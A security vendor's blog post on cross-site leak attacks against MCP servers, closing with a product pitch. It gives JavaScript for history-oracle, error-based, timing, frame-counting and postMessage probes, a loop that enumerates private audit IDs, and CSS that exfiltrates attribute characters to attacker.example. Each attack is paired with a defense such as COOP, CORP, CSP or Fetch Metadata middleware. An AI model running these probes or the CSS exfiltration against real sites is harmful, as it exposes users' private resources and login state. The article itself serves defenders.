Blog · MCP Server Security
MCP server cross-site leak (XS-Leak) security — history oracle, timing side-channels, Fetch Metadata
Cross-site leaks (XS-Leaks) are a class of side-channel attack where a page from one origin infers the state of a cross-origin resource without requiring CORS permission. Unlike CSRF, the attacker does not modify state — they observe it. An attacker page can determine whether a private audit ID exists, whether a user is logged in, whether a specific search term returns results, or whether a resource is cached — all by measuring browser-observable side effects of cross-origin requests. MCP server deployments with private resource URLs, authentication-gated endpoints, and variable-response-time APIs are systematically vulnerable.
What makes XS-Leaks different from CORS bypass
CORS controls whether JavaScript on one origin can read the body of a cross-origin response. XS-Leaks exploit the fact that even when CORS blocks the response body, the browser still exposes observable side effects: did the load succeed or fail? How long did the response take? Did the browser redirect? Did the page open any popups? Did the history stack change? These side effects are measurable without any CORS header at all.
XS-Leaks are particularly relevant to MCP servers because:
- MCP servers often expose resources at predictable URL patterns (
/audits/{uuid},/tools/{name}/results) - Authentication-gated resources return 302 (redirect to login) vs 200 (content) vs 404 (not found) — three distinguishable states
- Tool invocation endpoints with variable computation time expose timing oracles for input validation
- The MCP server UI itself may render tool output that triggers cross-origin navigations or resource loads
History oracle — resource existence via redirect differential
When a browser navigates to a URL, the history.length counter increments once per page in the history stack — including intermediate 302 redirects that add entries in some browser implementations. An attacker page can navigate a popup to a target URL, then measure history.length after the navigation completes to distinguish between response types.
// History oracle attack against private MCP audit IDs
// Attacker page at: https://attacker.example/probe.html
async function probeAuditId(auditId) {
const win = window.open('about:blank');
const startLen = win.history.length;
// Navigate to the private audit URL
win.location = `https://skillaudit.dev/audits/${auditId}`;
await new Promise(resolve => {
win.addEventListener('load', resolve, { once: true });
// In practice, use setTimeout with polling since cross-origin load events
// may not be accessible — but history.length is accessible on popup windows
// opened by this page, even cross-origin (same browsing context group)
});
const endLen = win.history.length;
win.close();
// 302 redirect (exists, authenticated user) adds extra history entry in some browsers
// 404 (not found) — no redirect, stays at same history depth
// 200 (exists, public) — direct load
return endLen > startLen + 1 ? 'exists_redirected' : 'not_found_or_direct';
}
// Enumerate private audit IDs
const knownPrefix = 'aud_';
for (let i = 1000; i < 2000; i++) {
const result = await probeAuditId(knownPrefix + i);
if (result === 'exists_redirected') console.log(`Found: ${knownPrefix}${i}`);
await new Promise(r => setTimeout(r, 100)); // Rate limiting
}
// Defense: COOP: same-origin prevents window.open() from returning a usable handle
// Response header: Cross-Origin-Opener-Policy: same-origin
// With COOP, win.history is inaccessible from the opener page.
COOP is the primary defense: Cross-Origin-Opener-Policy: same-origin severs the browsing context group relationship between the opener and the opened window. After navigation to a cross-origin URL, win.history, win.length, and all properties of the window reference become inaccessible — the history oracle is neutralized.
Error-based XS-Leaks — onerror vs onload as existence oracle
Cross-origin resource loads from <img>, <script>, <link rel="stylesheet">, or <iframe> fire either onerror or onload depending on whether the server returned a successful response. The attacker cannot read the response body, but the binary error/load signal distinguishes "resource exists with correct Content-Type" from "resource returns 404 or wrong Content-Type or network error".
// Error-based XS-Leak: existence oracle via img onerror/onload
function probeResourceExists(url) {
return new Promise(resolve => {
const img = new Image();
img.onload = () => resolve(true); // Server returned 200 with image content
img.onerror = () => resolve(false); // 404, 403, or non-image Content-Type
img.src = url;
// For non-image resources, onerror fires even on 200 responses
// So this distinguishes 200-image from 404/403/non-image
});
}
// For iframe-based probing (distinguishes any 200 from any 4xx/5xx):
function probeIframeLoad(url) {
return new Promise(resolve => {
const iframe = document.createElement('iframe');
iframe.onload = () => { resolve('loaded'); iframe.remove(); };
iframe.onerror = () => { resolve('error'); iframe.remove(); };
iframe.src = url;
document.body.appendChild(iframe);
});
}
// Defense: Cross-Origin-Resource-Policy header on authenticated resources
// Response header: Cross-Origin-Resource-Policy: same-origin
// This causes the browser to block the load entirely for cross-origin requests,
// making onerror fire for BOTH 200 and 4xx responses —
// the attacker can no longer distinguish existence from non-existence.
// For API endpoints that return JSON (not loadable as img):
// Cross-Origin-Resource-Policy: same-site (allows subdomain loads, blocks cross-site)
// Cross-Origin-Resource-Policy: same-origin (strictest — only same origin)
Timing oracles — response time as state discriminator
MCP tool invocation endpoints that perform input validation, database lookups, or authentication checks before returning a response expose timing side-channels. An endpoint that returns "user not found" faster than "user found, password incorrect" allows username enumeration. An audit lookup that returns faster for non-existent IDs than for existing private IDs allows private audit discovery. The attacker measures performance.now() delta across many requests and applies statistical analysis to discriminate between states.
// Timing oracle for MCP tool endpoint — username enumeration example
async function measureResponseTime(username) {
const samples = [];
for (let i = 0; i < 10; i++) {
const t0 = performance.now();
await fetch('https://skillaudit.dev/api/auth/check-user', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username })
});
samples.push(performance.now() - t0);
}
// Median response time
samples.sort((a, b) => a - b);
return samples[Math.floor(samples.length / 2)];
}
// 200ms median = user exists (bcrypt password hash computation)
// 2ms median = user not found (early return before bcrypt)
const existingUser = await measureResponseTime('admin@skillaudit.dev'); // ~200ms
const unknownUser = await measureResponseTime('ghost@nowhere.example'); // ~2ms
// Defense: constant-time response for authentication endpoints
async function checkUser(username) {
const user = await db.findUser(username);
// Always compute bcrypt — even for non-existent users
// Use a dummy hash to compare against when user doesn't exist
const DUMMY_HASH = '$2b$12$AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
const passwordToCheck = user ? user.passwordHash : DUMMY_HASH;
await bcrypt.compare('dummy-input', passwordToCheck); // Always takes ~200ms
return user !== null;
}
Frame counting — window.length as state oracle
window.length returns the number of frames (iframes or popups) opened by a page. If a page's behavior depends on the user's authentication state — e.g., an authenticated user sees a dashboard with three embedded widgets, an unauthenticated user sees a login page with no frames — the frame count differs and is observable cross-origin from a popup or parent window.
// Frame counting oracle
function countFrames(url) {
return new Promise(resolve => {
const win = window.open(url);
// After page load, count embedded frames
win.addEventListener('load', () => {
resolve(win.length); // Number of iframes/frames on the page
win.close();
});
});
}
// Authenticated dashboard with 3 widget iframes: win.length === 3
// Unauthenticated login page with no iframes: win.length === 0
// This distinguishes logged-in vs logged-out state across origins
// Defense: COOP: same-origin prevents win.length access after cross-origin navigation
// Without COOP, win.length is accessible even cross-origin
// Response header on all authenticated pages:
// Cross-Origin-Opener-Policy: same-origin
// After COOP: win.length throws or returns undefined for cross-origin pages
CSS injection as data exfiltration
If an attacker can inject a CSS rule into a page — via a stored CSS injection vector in tool output, a style attribute on injected HTML, or a CSS variable that accepts arbitrary values — the injected CSS can exfiltrate attribute values using @font-face URL requests keyed on attribute selectors. This is particularly relevant to MCP server UIs that render tool output with partial HTML sanitization that allows style attributes or CSS custom properties.
/* CSS injection data exfiltration via @font-face + attribute selector */
/* Attacker injects this CSS into the MCP server UI page */
/* Leak the first character of a data-session attribute */
@font-face {
font-family: leak-a;
src: url('https://attacker.example/collect?char=a');
}
@font-face {
font-family: leak-b;
src: url('https://attacker.example/collect?char=b');
}
/* ... one @font-face per possible character value ... */
[data-userid^="a"] { font-family: leak-a; }
[data-userid^="b"] { font-family: leak-b; }
/* When browser renders element matching selector, it fetches the @font-face URL */
/* Attacker's server receives the matching character */
/* Defense: Content-Security-Policy blocks attacker's font fetch */
/* Content-Security-Policy: font-src 'self' https://trusted-fonts.example */
/* Also: Sanitizer API / DOMPurify removes style attributes from tool output */
/* Sanitizer default config blocks style attribute — use it for tool output rendering */
postMessage timing leaks
When a page sends postMessage to a cross-origin frame and measures the time until a reply arrives, the reply latency reflects the target page's computational state. An MCP tool result page that processes different amounts of data depending on user-specific content (more audit results, more tool outputs, longer history) has variable postMessage reply latency — measurable from the embedding page as a proxy for data volume.
// postMessage timing oracle
async function measureProcessingTime(frame, message) {
return new Promise(resolve => {
const t0 = performance.now();
window.addEventListener('message', function handler(e) {
if (e.source !== frame.contentWindow) return;
window.removeEventListener('message', handler);
resolve(performance.now() - t0);
});
frame.contentWindow.postMessage(message, 'https://skillaudit.dev');
});
}
// Defense: validate postMessage origin strictly and add jitter to responses
window.addEventListener('message', async (event) => {
if (event.origin !== 'https://trusted-parent.skillaudit.dev') return;
// Process the message
const result = await processRequest(event.data);
// Add random jitter to normalize response time (reduce timing oracle precision)
const jitter = Math.random() * 50; // 0-50ms uniform jitter
await new Promise(r => setTimeout(r, jitter));
event.source.postMessage(result, event.origin);
});
Storage partitioning — the browser-level XS-Leak mitigation
Cache probing XS-Leaks relied on the fact that browser caches were historically shared across origins — if a resource was cached by any origin, a different origin could measure fast load time versus slow network load time. Modern browsers (Chrome 86+, Firefox 85+, Safari has always done this) partition the HTTP cache by top-level site: a resource cached while visiting attacker.example does not populate the cache used when visiting skillaudit.dev. This eliminates cache-timing XS-Leaks. Storage partitioning also applies to IndexedDB, localStorage, and service worker registrations — each top-level site gets an isolated storage partition even for the same origin loaded in a frame.
Fetch Metadata — server-side navigation type validation
The Sec-Fetch-Site, Sec-Fetch-Mode, and Sec-Fetch-Dest request headers are set by the browser on every fetch and navigation. Unlike Origin and Referer, Fetch Metadata headers cannot be forged by JavaScript (they are set by the browser fetch infrastructure). Server-side validation of these headers allows rejecting requests that don't match the expected navigation pattern — for example, a request to /audits/private-id with Sec-Fetch-Site: cross-site is a cross-origin probe, not a legitimate user navigation.
// Fetch Metadata validation middleware (Node.js/Express)
function fetchMetadataPolicy(allowedModes = ['navigate', 'same-origin']) {
return (req, res, next) => {
const site = req.headers['sec-fetch-site'];
const mode = req.headers['sec-fetch-mode'];
const dest = req.headers['sec-fetch-dest'];
// If headers are absent, browser is old or request is from a non-browser client
// For API endpoints, require headers to be present
if (!site) return next(); // Allow non-browser clients (curl, MCP client libraries)
// Reject cross-site navigations to authenticated resource endpoints
if (site === 'cross-site' && dest === 'document') {
// Cross-site top-level navigation to authenticated resource
// This is the pattern used by history oracle attacks
// Return identical response to legitimate navigation to prevent existence oracle
return res.redirect(302, '/login'); // Same response for any cross-site probe
}
// Reject cross-site subresource requests (iframe probing, img probing)
if (site === 'cross-site' && ['image', 'iframe', 'script', 'style'].includes(dest)) {
res.setHeader('Cross-Origin-Resource-Policy', 'same-origin');
return res.status(403).end(); // Block cross-origin subresource probing
}
next();
};
}
// Apply to authenticated resource routes
app.use('/audits', fetchMetadataPolicy());
app.use('/api/tools', fetchMetadataPolicy());
// Key Fetch Metadata header values:
// Sec-Fetch-Site: same-origin | same-site | cross-site | none
// Sec-Fetch-Mode: navigate | cors | no-cors | same-origin | websocket
// Sec-Fetch-Dest: document | iframe | image | script | style | fetch | empty | ...
XS-Leak mitigations reference
| XS-Leak type | Side channel | Primary mitigation | Secondary mitigation |
|---|---|---|---|
| History oracle | history.length after cross-origin navigation | Cross-Origin-Opener-Policy: same-origin |
Consistent redirect behavior (always 302 or never) |
| Error-based probing | onerror vs onload on img/iframe/script | Cross-Origin-Resource-Policy: same-origin |
Require CORS preflight for all authenticated resources |
| Timing oracle | Response latency differentials | Constant-time responses (add jitter or wait for fixed duration) | Rate limiting; add random delay per-request |
| Frame counting | window.length of popup or parent | Cross-Origin-Opener-Policy: same-origin |
Remove frame count dependency from auth state |
| Cache probing | Load time for cached vs uncached resources | Browser storage partitioning (Chrome 86+, Firefox 85+) | Vary: Sec-Fetch-Site to prevent cross-site cache sharing |
| CSS injection exfil | @font-face URL fetches keyed on attribute selectors | CSP font-src 'self'; sanitize style attributes |
Sanitizer API / DOMPurify on all tool output |
| postMessage timing | Reply latency as data volume proxy | Add random jitter to postMessage replies | Validate message origin strictly; rate limit message handling |
| Cross-site navigation probing | Sec-Fetch-Site header absent or cross-site on auth endpoints | Fetch Metadata server-side validation | Return identical responses for exist vs not-exist for cross-site probes |
SkillAudit findings for XS-Leak vulnerabilities
SkillAudit's XS-Leak scanner probes MCP server endpoints from a cross-origin context, measuring response differentials, timing distributions, and browsing context group relationships. The scanner tests each finding class independently and reports exploitability based on the information leaked and the authentication context required.
Cross-Origin-Resource-Policy: same-origin, enabling error-based XS-Leak probing via iframe and img element onerror/onload events to distinguish resource existence, authentication state, and authorization boundaries.
Sec-Fetch-Site headers on authenticated resource routes. Cross-site navigation probes to private resource URLs receive the same response differential as same-origin navigations, enabling systematic URL enumeration from attacker-controlled pages.
See also: MCP server CORS preflight security covers how CORS and CORP interact for cross-origin resource access control. MCP server COOP/COEP cross-origin isolation covers the full cross-origin isolation policy stack that neutralizes multiple XS-Leak classes simultaneously.
Scan your MCP server for XS-Leak vulnerabilities with SkillAudit. Our scanner probes from cross-origin contexts, measures response time distributions, and validates COOP/CORP/Fetch Metadata header coverage. View pricing and start a free scan.